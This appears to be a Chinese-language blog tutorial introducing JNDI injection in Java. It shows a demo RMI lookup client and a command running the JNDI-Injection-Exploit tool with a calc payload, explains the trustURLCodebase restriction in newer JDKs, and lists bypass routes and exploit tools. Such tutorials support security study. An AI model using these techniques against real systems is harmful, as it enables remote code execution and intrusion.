200字
JNDI注入入门
2025-10-04
2025-10-04

JNDI简介

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

漏洞触发大致过程:起一个服务端,服务端下有触发命令执行的payload,然后客户端使用不安全的java版本用rmi/ldap访问服务端时触发了代码执行

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议。

这两者注入的区别:

演示案例JNDIdemo,使用jdk1.8u65版本:

JNDIdemo.java

import javax.naming.InitialContext;
import javax.naming.NamingException;
​
public class JNDIdemo {
    public static void main(String[] args) throws NamingException {
        InitialContext var1 = new InitialContext();
        var1.lookup("rmi://192.168.3.184:1099/kh462y");
​
    }
}

其中注入payload由工具生成:

welk1n/JNDI-Injection-Exploit: JNDI注入测试工具)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"

可以得知,如果lookup()函数的访问地址参数控制不当,则有可能导致加载远程恶意类。

JNDI注入受jdk版本限制,由于java8使用最多,所以主要关注Java8(jdk1.8)的版本

image

jdk高版本绕过

com.sun.jndi.rmi.registry.RegistryContext: JNDI-RMI接口

java.rmi.registry.Registry: RMI 接口

一般情况下,Registry是作为RMI服务端,RegistryContext是作为被攻击的客户端

以rmi服务为例,在低版本JDK_8u65下,在RegistryContext#decodeObject()方法会直接调用到NamingManager#getObjectInstance(),进而调用getObjectFactoryFromReference()方法来获取远程工厂类。

而在高版本jdk中,在RegistryContext#decodeObject()方法,这里增加了对类型以及trustURLCodebase的检查。也就是说,远程类加载就很困难了

显然,绕过方式之一是使用本地的Reference Factory类

比如项目存在tomcat8,Groovy等中间件或者依赖的话,就可以用本地利用链绕过

而还有一种方式为反序列化攻击,该攻击需要项目有存在反序列化利用链的项目依赖

利用项目推荐:

https://github.com/vulhub/java-chains (最推荐)

https://github.com/frohoff/ysoserial

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

https://github.com/B4aron1/JNDIBypass (自动化绕过)

详细代码分析可参考:

JNDI-RMI 注入的EL 绕过思路分析 | m0d9's blog

Java安全学习——JNDI注入 - 枫のBlog

评论